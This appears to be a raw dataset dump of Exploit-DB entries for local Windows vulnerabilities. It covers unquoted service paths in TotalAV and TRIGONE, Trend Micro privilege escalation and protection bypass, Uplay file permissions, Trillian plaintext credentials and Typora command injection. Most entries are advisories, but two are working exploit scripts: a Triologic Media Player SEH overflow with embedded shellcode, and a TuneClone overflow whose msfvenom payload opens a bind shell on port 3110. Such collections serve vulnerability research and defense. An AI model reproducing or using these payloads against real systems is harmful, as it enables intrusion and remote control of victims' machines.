deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50314
Description: TotalAV 5.15.69 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-09-22
Author: Andrea Intilangelo

Exploit:
# Exploit Title: TotalAV 5.15.69 - Unquoted Service Path
# Date: 22/09/2021
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.totalav.com
# Software Link: https://download.totalav.com/windows/beta-trial or https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe
# Version: 5.15.69
# Tested on: Windows 10 Pro 20H2 and 21H1 x64

The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service
services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a
user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible
to place executable(s) following the path of the unquoted string.

Affected excecutables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:

PC Security Management Service 			SecurityService 	C:\Program Files (x86)\TotalAV\SecurityService.exe 			Auto
PC Security Management Monitoring Service 	SecurityServiceMonitor	C:\Program Files (x86)\TotalAV\SecurityService.exe --monitor 		Auto
Anti-Malware SDK Protected Service		AMSProtectedService 	C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe 	Auto

C:\Users\user>sc qc SecurityService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SecurityService
		TIPO 			  : 10  WIN32_OWN_PROCESS
		TIPO_AVVIO 		  : 2   AUTO_START
		CONTROLLO_ERRORE 	  : 1   NORMAL
		NOME_PERCORSO_BINARIO	  : C:\Program Files(x86)\TotalAV\SecurityService.exe
		GRUPPO_ORDINE_CARICAMENTO :
		TAG 			  : 0
		NOME_VISUALIZZATO 	  : PC Security Management Service
		DIPENDENZE		  :
		SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc SecurityServiceMonitor
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SecurityServiceMonitor
		TIPO 			  : 10  WIN32_OWN_PROCESS
		TIPO_AVVIO 		  : 2   AUTO_START
		CONTROLLO_ERRORE	  : 1   NORMAL
		NOME_PERCORSO_BINARIO 	  : C:\Program Files(x86)\TotalAV\SecurityService.exe --monitor
		GRUPPO_ORDINE_CARICAMENTO :
		TAG 			  : 0
		NOME_VISUALIZZATO 	  : PC Security Management Monitoring Service
		DIPENDENZE 		  :
		SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc AMSProtectedService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: AMSProtectedService
		TIPO 			  : 10  WIN32_OWN_PROCESS
		TIPO_AVVIO 		  : 2   AUTO_START
		CONTROLLO_ERRORE	  : 1   NORMAL
		NOME_PERCORSO_BINARIO 	  : C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe
		GRUPPO_ORDINE_CARICAMENTO :
		TAG 			  : 0
		NOME_VISUALIZZATO 	  : Anti-Malware SDK Protected Service
		DIPENDENZE 		  :
		SERVICE_START_NAME : LocalSystem
Exploit-DB #8322
Description: Trend Micro Internet Security Pro 2009 - Priviliege Escalation
Type: local
Platform: windows
Date: 2009-03-30
Author: b1@ckeYe

Exploit:
Trend Micro Internet Security Pro 2009 tmactmon.sys Priviliege Escalation PoC.
by b1@ckeYe

The vulnerability is caused due to the IOCTL handler of the "tmactmon.sys" 
driver improperly processing user space parameters. This exploit execute 
arbitrary code in kernel space via a specially crafted IOCTL.

untested: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8322.zip 2009-trendmicro_local_expl_0day.zip)

# milw0rm.com [2009-03-30]
Exploit-DB #47943
Description: Trend Micro Maximum Security 2019 - Privilege Escalation
Type: local
Platform: windows
Date: 2020-01-17
Author: hyp3rlinx

Exploit:
# Exploit Title: Trend Micro Maximum Security 2019 - Privilege Escalation
# Date: 2020-1-16
# Exploit Author: hyp3rlinx
# Vendor Homepage: www.trendmicro.com
# Version: Platform Microsoft Windows, Premium Security 2019 (v15), Maximum Security 2019 (v15)
# Internet Security 2019 (v15), Antivirus + Security 2019 (v15)

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-SECURITY-CONSUMER-PERSISTENT-ARBITRARY-CODE-EXECUTION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.trendmicro.com


[Product(s)]
Trend Micro Security (Consumer) Multiple Products


Trend Micro Security provides comprehensive protection for your devices.
This includes protection against ransomware, viruses, malware, spyware, and identity theft.


[Vulnerability Type]
Persistent Arbitrary Code Execution


[CVE Reference]
CVE-2019-20357


[CVSSv3 Scores: 6.7]


[Security Issue]
Trend Micro Security can potentially allow an attackers to use a malicious program to escalate privileges
to SYSTEM integrity and attain persistence on a vulnerable system.


[Product Affected Versions]
Platform Microsoft Windows

Premium Security 2019 (v15) and 2020 (v16)

Maximum Security
2019 (v15) and 2020 (v16)

Internet Security
2019 (v15) and 2020 (v16)
	
Antivirus + Security
2019 (v15) and 2020 (v16)


[References]
https://esupport.trendmicro.com/en-us/home/pages/technical-support/1124099.aspx

[Exploit/POC]
Compile C test code "Program.c"

void main(void){
 puts("Done!");
 system("pause");
}

1) Place under c:\ dir.
2) Reboot the machine, the coreServiceShell.exe service loads and executes our binary with SYSTEM integrity.



[Network Access]
Local


[Severity]
Medium



[Disclosure Timeline]
Vendor Notification: October 8, 2019
vendor advisory: January 15, 2020
January 16, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #44858
Description: TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass
Type: local
Platform: windows
Date: 2018-06-08
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-v11.0-UNAUTHORIZED-CHANGE-PREVENTION-SERVICE-BYPASS.txt
[+] ISR: Apparition Security          
 


***Greetz: indoushka|Eduardo|Dirty0tis***



Vendor:
=============
www.trendmicro.com



Product:
===========
OfficeScan XG v11.0 


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.




Vulnerability Type:
===================
Unauthorized Change Prevention Bypass



CVE Reference:
==============
CVE-2018-10507



Security Issue:
================
Attackers or malwarez that can access the system hosting the OfficeScan XG AV, can bypass the antivirus protection feature that prevents unauthorized changes
from being made like killing protected OfficeScan XG processes such as "PccNTMon.exe".


References:
============
https://success.trendmicro.com/solution/1119961



Exploit/POC:
=============

1) net user hacker abc123 /add

2) sc.exe config "TMBMServer" obj= ".\hacker" [CREDENTIAL_REDACTED]"

3) net user hacker /delete

4) shutdown /r

Done!, now kill "PccNTMon.exe" or whatever...

requires Admin permissions to exploit


Network Access:
===============
Local



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  June 29, 2017
Vendor releases critical patch and advisory : June 5, 2018
June 7, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #50633
Description: TRIGONE Remote System Monitor 3.61 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-01-05
Author: Yehia Elghaly

Exploit:
# Exploit Title: TRIGONE Remote System Monitor 3.61 - Unquoted Service Path
# Discovery by: Yehia Elghaly
# Date: 30-12-2021
# Vendor Homepage:  https://www.trigonesoft.com/
# Software Link: https://www.trigonesoft.com/download/Remote_System_monitor_Server_3.61_x86_Setup.exe
# Tested Version: 3.61
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 x86 - Windows Server 2016 x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

TRIGONE Remote System Monitor Server RemoteSystemMonitorService          
C:\Program Files\TRIGONE\Remote System Monitor Server\RemoteSystemMonitorService.exe    
Auto

C:\>sc qc srvInventoryWebServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RemoteSystemMonitorService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\TRIGONE\Remote System Monitor Serv
er\RemoteSystemMonitorService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : TRIGONE Remote System Monitor Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #43799
Description: Trillian Pro < 2.01 - Design Error
Type: local
Platform: windows
Date: 2004-03-01
Author: GulfTech Security

Exploit:
Trillian Pro Design Error

Vendor: Cerulean Studios
Product: Trillian Pro
Version: <= 2.01
Website: http://www.ceruleanstudios.com


Description:
Trillian is a multinetwork chat client that currently supports mIRC, AIM, ICQ, MSN, and Yahoo Messenger. It supports docking, multiline edit boxes, buddy alerts, multiple connections to the same medium, a powerful skinning language, easy importing of your existing contacts, skinnable emoticons, logging, global away/invisible features, and a unified contact list. It has a direct connection for AIM, support for user profiles, complete type formatting, buddy icons, proxy support, emotisounds, encrypted instant messaging to ICQ and AIM, AIM group chats, and shell extensions for file transfers. 

Problem:
Lets say you use Trillian to connect to Yahoo Instant Messenger. By default Trillian will pop up a window telling you that your Yahoo email account has new mail (if and when it does) If you click the link provided in the window you will notice that first it takes you to a HTML page created on your hard drive, that then sends a requests to Yahoo to log you in. For example: 

C:\Program Files\Trillian\users\default\cache\sfd0.html 

And if you open up this file in any type of text editor or the like you will clearly see the credentials in plaintext. 

<script>
  <!--
	var username;
	username='plaintextusernamehere';
	var password;
	[CREDENTIAL_REDACTED]';
		function submit () {
		document.getElementById('login').value=username;
		document.getElementById('passwd').value=password;
		document.getElementById('login_form').submit();
		};
  //-->
</script>

I have not spent a great deal of time looking into this matter, as it is of little interest to me, but what I have noticed is that this file is not deleted until Trillian is shut down. In the case of abnormal program termination, such as a crash the file may still be there. This file can be accessed by lower level users in most cases, and totally leaves the Yahoo credentials open to theft. This may also be the case with other accounts etc, but like I said I have not looked into it much. Just wanted to make aware of this as a great number of people use Yahoo for money, and business purposes as well as personal use. 

Solution:
I contacted Cerulean Studios a week or two ago about this, but I have not heard back from them at all. I would suggest not using this particular feature or shredding the temp file at best after logging in if you REALLY insist on using this feature. But that doesnt stop the credentials from being passed over the network in plaintext ... I imagine the guys at Cerulean Studios get swamped with emails, thus the no reply. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #14673
Description: Triologic Media Player 8 - '.m3u' Universal Unicode Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-08-17
Author: Glafkos Charalambous

Exploit:
# Exploit Title: Triologic Media Player 8 (.m3u) Local Universal Unicode Buffer Overflow [SEH]
# Date: August 17, 2010
# Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
# Software Link: http://download.cnet.com/Triologic-Media-Player/3000-2139_4-10691520.html
# Version: 8
# Tested on: Windows XP SP3 En
# Thanks: muts, ishtus
# Greetz: Astalavista, OffSEC, Exploit-DB

buffer = "\x41" * 536	 # buffer
buffer += "\x61\x41" 	 # popad + nop/align
buffer += "\xF2\x41" 	 # pop,pop,retn triomp8.exe unicode (universal)
buffer += "\x90"	 # 
buffer += "\x6e" 	 # venetian shellcode
buffer += "\x05\x37\x13" # add eax, 0x13003700
buffer += "\x6e" 	 # venetian shellcode
buffer += "\x2d\x36\x13" # sub eax, 0x13003600
buffer += "\x6e" 	 # venetian shellcode
buffer += "\x50" 	 # push eax
buffer += "\x6e" 	 # venetian shellcode
buffer += "\xc3" 	 # ret
buffer += "\x90" * 111   # align to shellcode
# windows\exec calc.exe unicode uppercase shellcode
buffer += ("PPYA[PII_REDACTED]QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAP"
"AZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB3Y9R8Z9L8Y2RJT1N0V0Y0I0I0I0I0"
"I0I0I0I0I0I0C0C0C0C0C0C070Q0Z1Z110X0P001100112K11110Q02110B020B0B000B0B110B0X0P0"
"8110B2U0J0I0I2L0M080N1Y0E0P0G2P0C000Q2P0K090K0U0E1Q0H0R0B0D0L0K0B2R0P000L0K0F020"
"F2L0L0K0C1R0G1T0N2K0Q1R0D1X0D0O0L2W0C2Z0E2V0E1Q0I2O0F0Q0K2P0L2L0E2L0Q2Q0C0L0E0R0"
"D2L0G0P0O010J2O0D0M0G2Q0K2W0I2R0H2P0P0R0C1W0N2K0B2R0B000L0K0P0B0G0L0G2Q0H0P0N2K0"
"C2P0Q1X0K050K2P0P2T0Q0Z0E0Q0H0P0B2P0N2K0C2X0F2X0L0K0B2X0E2P0E0Q0N030I2S0G0L0P0I0"
"N2K0G0D0N2K0F1Q0I0F0P010I2O0E1Q0O000L2L0J1Q0H0O0F2M0C010O070G0H0K0P0B0U0L040E0S0"
"C0M0K0H0E2K0Q2M0Q040P2U0K0R0P0X0N2K0F080G0T0C010I0C0E060N2K0F2L0B2K0N2K0B2X0G2L0"
"C010K1S0N2K0G2T0L0K0C010H0P0L0I0Q0T0D1T0E2T0C2K0C2K0P1Q0B2Y0P0Z0P0Q0I2O0K0P0C1X0"
"C2O0C1Z0N2K0F2R0H2K0L0F0C2M0B0J0E0Q0N2M0N1U0O0I0G2P0C000E0P0B2P0Q2X0P010N2K0P2O0"
"O2W0K0O0J2U0M2K0J0P0N0U0I020F060E080N0F0L0U0O0M0M0M0K0O0I0E0E2L0F1V0Q2L0F1Z0M0P0"
"K0K0M000Q1U0G2U0O0K0P0G0D0S0Q1R0P2O0P1Z0C000Q0C0K0O0J2U0E030C0Q0P2L0E030D2N0B0E0"
"D080Q2U0C000E0Z1111KPA")
buffer += "\x90" * (5000 - len(buffer))

try:
    print "[+] Creating exploit file.."
    exploit = open('triologic.m3u','w');
    exploit.write(buffer);
    exploit.close();
    print "[+] Writing", len(buffer), "bytes to triologic.m3u"
    print "[+] Exploit file created!"
except:
    print "[-] Error: You do not have correct permissions.."
Exploit-DB #3664
Description: TrueCrypt 4.3 - 'setuid' Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-04-04
Author: Marco Ivaldi

Exploit:
# $Id: raptor_truecrypt,v 1.1.1.1 2007/04/04 11:31:56 raptor Exp $
#
# raptor_truecrypt - setuid truecrypt privilege escalation
# Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# TrueCrypt 4.3, when installed setuid root, allows local users to cause a 
# denial of service (filesystem unavailability) or gain privileges by mounting 
# a crafted TrueCrypt volume, as demonstrated using (1) /usr/bin or (2) another
# user's home directory, a different issue than CVE-2007-1589 (CVE-2007-1738).
#
# WARNING: THIS IS A PROOF OF CONCEPT EXPLOIT TAKING ADVANTAGE OF NPTL THREAD
# LOCAL STORAGE DYNAMIC LINKING MODEL, DO NOT USE IT IF YOU DON'T KNOW HOW IT
# WORKS! YEAH, IT *DOES* REQUIRE SOME TWEAKINGS TO EXPLOIT NON-TLS PLATFORMS!
#
# Other possible attack vectors: /etc/cron.{d,hourly,daily,weekly,monthly}, at 
# (/var/spool/atjobs/), xinetd (/etc/xinetd.d), /etc/logrotate.d, and more...

http://www.0xdeadbeef.info/exploits/raptor_truecrypt.tgz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3664.tgz

# milw0rm.com [2007-04-04]
Exploit-DB #47012
Description: Tuneclone 2.20 - Local SEH Buffer Overflow
Type: local
Platform: windows
Date: 2019-06-20
Author: Achilles

Exploit:
# Exploit Title: TuneClone Local Seh Exploit
# Date: 19.06.2019
# Vendor Homepage: http://www.tuneclone.com/
# Software Link:   http://www.tuneclone.com/tuneclone_setup.exe
# Exploit Author: Achilles
# Tested Version: 2.20
# Tested on: Windows XP SP3 EN
            
# 1.- Run python code : TuneClone.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open TuneClone and press Help and 'Enter License Code'
# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field'
# 5.- Click 'OK' and you will have a bind shell port 3110.
# 6.- Greetings go:XiDreamzzXi,Metatron

#!/usr/bin/env python

import struct

buffer = "\x41" * 1056
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh  =  struct.pack('<L',0x583411c0) #msaud32.acm
nops =  "\x90" * 20

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b" 
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))
payload = buffer + nseh + seh + nops + shellcode + pad

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #51752
Description: Typora v1.7.4 - OS Command Injection
Type: local
Platform: windows
Date: 2024-01-29
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Typora v1.7.4 - OS Command Injection
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 13.09.2023
# Vendor Homepage: http://www.typora.io
# Software Link: https://download.typora.io/windows/typora-setup-ia32.exe
# Tested Version: v1.7.4 (latest)
# Tested on: Windows 2019 Server 64bit

# # #  Steps to Reproduce # # #

# Open the application
# Click on Preferences from the File menu
# Select PDF from the Export tab
# Check the “run command” at the bottom right and enter your reverse shell
command into the opened box
# Close the page and go back to the File menu
# Then select PDF from the Export tab and click Save
# Reverse shell is ready!
Exploit-DB #36189
Description: Ubisoft Uplay 5.0 - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2015-02-26
Author: LiquidWorm

Exploit:

Ubisoft Uplay 5.0 Insecure File Permissions Local Privilege Escalation


Vendor: Ubisoft Entertainment S.A.
Product web page: http://www.ubi.com
Affected version: 5.0.0.3914 (PC)

Summary: Uplay is a digital distribution, digital rights management,
multiplayer and communications service created by Ubisoft to provide
an experience similar to the achievements/trophies offered by various
other game companies.

 - Uplay PC is a desktop client which replaces individual game launchers
 previously used for Ubisoft games. With Uplay PC, you have all your Uplay
 enabled games and Uplay services in the same place and you get access to
 a whole new set of features for your PC games.

Desc: Uplay for PC suffers from an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file
with a binary of choice. The vulnerability exist due to the improper
permissions, with the 'F' flag (Full) for 'Users' group, making the
entire directory 'Ubisoft Game Launcher' and its files and sub-dirs
world-writable.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5230
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5230.php

Vendor: http://forums.ubi.com/forumdisplay.php/513-Uplay


19.02.2015

--
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>cacls Uplay.exe
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\Uplay.exe BUILTIN\Users:(ID)F
                                                               NT AUTHORITY\SYSTEM:(ID)F
                                                               BUILTIN\Administrators:(ID)F
                                                               test-PC\yousir:(ID)F


C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>